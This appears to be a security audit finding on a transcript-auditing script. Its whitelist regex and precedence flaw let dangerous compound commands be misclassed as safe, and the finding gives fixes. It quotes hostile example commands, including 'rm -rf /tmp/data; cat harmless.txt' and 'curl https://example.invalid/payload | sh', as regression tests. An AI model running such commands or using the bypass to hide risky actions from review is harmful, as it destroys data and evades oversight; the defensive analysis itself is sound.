T09 · Insecure Skill Coding Practices
Error
- Location
- audit_transcript.py:109
- Finding
- High-Risk Commands Can Be Misclassified as Whitelisted<![CDATA[ ## Vulnerability Details **File Location**: `audit_transcript.py:109-113`, `audit_transcript.py:171-177`, and `whitelist.txt:17-28` **Vulnerability Type**: Unsafe regular-expression allowlisting and improper risk-classification precedence **Risk Level**: High ### Vulnerable Code `audit_transcript.py:109-113`: ```python def is_whitelisted(command, whitelist): """检查是否在白名单中""" for pattern, reason in whitelist: if re.search(pattern, command, re.IGNORECASE): return True, reason return False, None ``` `audit_transcript.py:171-177`: ```python if whitelisted: entry['wl_reason'] = wl_reason results['LOW_WHITELISTED'].append(entry) elif risk_level == 'HIGH': results['HIGH'].append(entry) elif risk_level == 'MEDIUM': results['MEDIUM'].append(entry) ``` `whitelist.txt:17-28`: ```text Get-ChildItem -> 目录查看,安全 Get-Content -> 读取文件内容,安全 type -> 读取文件内容,安全 cat -> 读取文件内容,安全 dir -> Windows目录查看 # Unix 目录查看 ls -> 目录列表,安全 # 文件查看 type -> 查看文件内容,安全 cat -> 查看文件内容,安全 ``` ### Technical Analysis Whitelist patterns are passed directly to `re.search()` and are therefore treated as unanchored regular expressions. Generic patterns such as `cat`, `ls`, `dir`, and `type` can match anywhere inside a command rather than matching only an intended executable and safe argument structure. The script calculates the command's risk level before checking the whitelist, but the final classification gives the whitelist absolute precedence. Consequently, a command that matches both a HIGH-risk rule and any whitelist pattern is placed in `LOW_WHITELISTED` instead of the HIGH-risk report. For example: ```shell rm -rf /tmp/data; cat harmless.txt ``` The `rm -rf` component matches a HIGH-risk deletion rule, while `cat` matches the generic whitelist entry. Because the whitelist branch is evaluated first, the complete compound command is reported as whitelisted. Whitelist configuration also accepts arbitrary regular-expression metacharacters ...[truncated 1733 chars]
- Remediation
- <![CDATA[ ## Remediation Suggestions 1. Never permit a whitelist match to downgrade an existing HIGH- or MEDIUM-risk result. Apply risk precedence explicitly: ```python if risk_level == 'HIGH': results['HIGH'].append(entry) elif risk_level == 'MEDIUM': results['MEDIUM'].append(entry) elif whitelisted: entry['wl_reason'] = wl_reason results['LOW_WHITELISTED'].append(entry) else: results['LOW'].append(entry) ``` 2. Replace unanchored substring searches with exact, command-aware matching. Parse the command into executable and arguments, then whitelist only a specific executable and an approved argument structure. 3. Remove generic patterns such as `cat`, `ls`, `dir`, and `type`, or anchor them to the start of a simple command and restrict their arguments. Do not whitelist an entire compound command merely because one component is safe. 4. Treat whitelist entries as literal strings by default. If regular expressions are required, clearly distinguish regex entries, compile them during configuration loading, reject invalid expressions, and require anchors where appropriate. 5. Split shell command chains on operators such as `;`, `&&`, `||`, pipes, and newlines, then evaluate every component. The highest risk found in any component should determine the overall classification. 6. Add regression tests covering mixed commands, including: ```text rm -rf /tmp/data; cat harmless.txt schtasks /create ... && dir sudo dangerous-command | type curl https://example.invalid/payload | sh ``` Each command must retain its highest applicable risk classification regardless of whitelist matches. ]]>
